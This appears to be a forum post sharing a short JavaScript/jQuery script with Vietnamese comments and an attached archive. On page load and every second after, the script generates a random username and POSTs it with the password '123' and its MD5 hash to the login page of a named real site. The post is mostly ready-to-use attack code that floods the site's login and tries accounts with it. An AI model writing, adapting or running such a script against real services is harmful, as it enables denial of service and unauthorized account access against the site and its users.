PHP:
<script type="text/javascript">
$(document).ready(function(){getJSONData();});
function getJSONData()
{
setTimeout("getJSONData()", 1000); //set thoi gian request neu may ban manh thi de 1 :))
var chars = "abcdefghiklmnopqrstuvwxyz"; // char de random neu muon co so thi them vao 0123456789
var string_length = 8; // toi da trong mot lan random
var randomstring = ''; // khai ba bien return
for (var i=0; i<string_length; i++) { // neu < 8 ki tu thi lam cho trong 8 ki tu k.k.
var rnum = Math.floor(Math.random() * chars.length); // ham random()
randomstring += chars.substring(rnum,rnum+1); // bien return
}
displayData(randomstring); // hien thi ve function tiep theo
}
function displayData(dataJSON)
{
$.post( "http://id.sinhvienit.net/dangnhap.html", { username:dataJSON,password:"123",password_md5:"202cb962ac59075b964b07152d234b70",remember:"remember_info"},function( data ) { $( "#show" ).html(dataJSON);});
}
</script>
</head>
<body onload="getJSONData();">
<div id="show"></div>
htdocs.rar (58.9 KB)